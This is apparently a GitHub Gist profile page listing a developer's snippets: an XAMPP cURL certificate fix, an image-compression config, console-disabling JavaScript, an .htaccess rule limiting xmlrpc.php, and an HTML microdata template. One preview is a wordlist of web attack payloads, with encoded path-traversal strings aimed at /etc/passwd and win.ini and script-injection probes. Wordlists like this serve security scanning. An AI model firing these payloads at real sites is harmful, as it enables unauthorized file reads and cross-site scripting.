Skip to content

Instantly share code, notes, and snippets.

View felipepodesta's full-sized avatar
👨‍💻
Stairway To Heaven

Felipe Podestá felipepodesta

👨‍💻
Stairway To Heaven
View GitHub Profile
@felipepodesta
felipepodesta / xampp_ssl_setup.md
Created February 19, 2018 22:12
XAMPP - SSL certificate error

XAMPP - CURL SSL Setup

To fix the SSL certificate error message "SSL certificate error: unable to get local issuer certificate" try this:

  • Download: http://curl.haxx.se/ca/cacert.pem
  • Copy the file cacert.pem into the directory: C:\xampp\php\extras\ssl\
  • Open c:\xampp\php\php.ini with Notepad++
  • Search for the [curl] section
  • Add the following lines:
const imagemin = require('imagemin');
const imageminMozjpeg = require('imagemin-mozjpeg');
const imageminPngquant = require('imagemin-pngquant');
const options = {
use: [
imageminMozjpeg({
quality: 80,
progressive: true
}),
/$
/%20..%5Cweb-inf
/%22%3E%3CsCrIpT%3Eprompt(42873)
/%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5Cwindows%5Cwin.ini
/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/windows/win.ini
/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd
/%3Cscript%20s%3Ealert(42873)
/%3Cscript%3Ealert(42873).do
/%3f.jsp
@felipepodesta
felipepodesta / disable_console.js
Created January 26, 2018 21:23 — forked from Phantomical/disable_console.js
Disable console output in javascript
window.console = {
log: function(msg) { },
warn: function(msg) { },
error: function(msg) { },
info: function(msg) { }
};
@felipepodesta
felipepodesta / console-busting.js
Created January 26, 2018 21:23 — forked from mjangda/console-busting.js
Console Busting along with Console disabling for production environments
var DEBUG_MODE = true; // Set this value to false for production
if(typeof(console) === 'undefined') {
console = {}
}
if(!DEBUG_MODE || typeof(console.log) === 'undefined') {
// FYI: Firebug might get cranky...
console.log = console.error = console.info = console.debug = console.warn = console.trace = console.dir = console.dirxml = console.group = console.groupEnd = console.time = console.timeEnd = console.assert = console.profile = function() {};
}
@felipepodesta
felipepodesta / gist:5eca4c7ddc0feb383c97494f98e27ea6
Created January 26, 2018 21:23 — forked from ChimeraCoder/gist:9380006
Prevent websites from disabling developer console in Chrome
Object.defineProperty(window, 'console', {configurable: false, value: window.console})
@felipepodesta
felipepodesta / disable-lock.html
Created January 26, 2018 21:23 — forked from adison/disable-lock.html
disable webpage lock
<!--
disable web page locks,
for chrome, get extesion: https://chrome.google.com/webstore/detail/personalized-web/plcnnpdmhobdfbponjpedobekiogmbco
and add code below
-->
<style type="text/css">
* {
-moz-user-select: text !important;
-webkit-user-select:auto !important;
@felipepodesta
felipepodesta / .htaccess
Created January 26, 2018 18:11 — forked from bissy/.htaccess
allow from Jetpack, Deny All. xmlrpc.php
# XML-RPC にアクセス制限、Automattic(Jetpack開発元)は許可
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
# Automattic を許可
allow from 192.0.64.0/255.0.64.0
allow from 185.64.140.0/22
allow from 216.151.209.64/26
allow from 66.135.48.128/25
allow from 69.174.248.128/25
@felipepodesta
felipepodesta / microdata_business.html
Created January 26, 2018 07:23 — forked from danielantelo/microdata_business.html
HTML5 Microdata Business Template
<!DOCTYPE html>
<html>
<head>
<!-- Meta conf -->
<meta charset="UTF-8">
<!-- Meta info -->
<title>HTML5 Microdata Business Template</title>
<meta name="description" content="An example of how to layout a semantic html5 page for a business with products">
<meta name="keywords" content="template, html, semantic, microdata, business">
</head>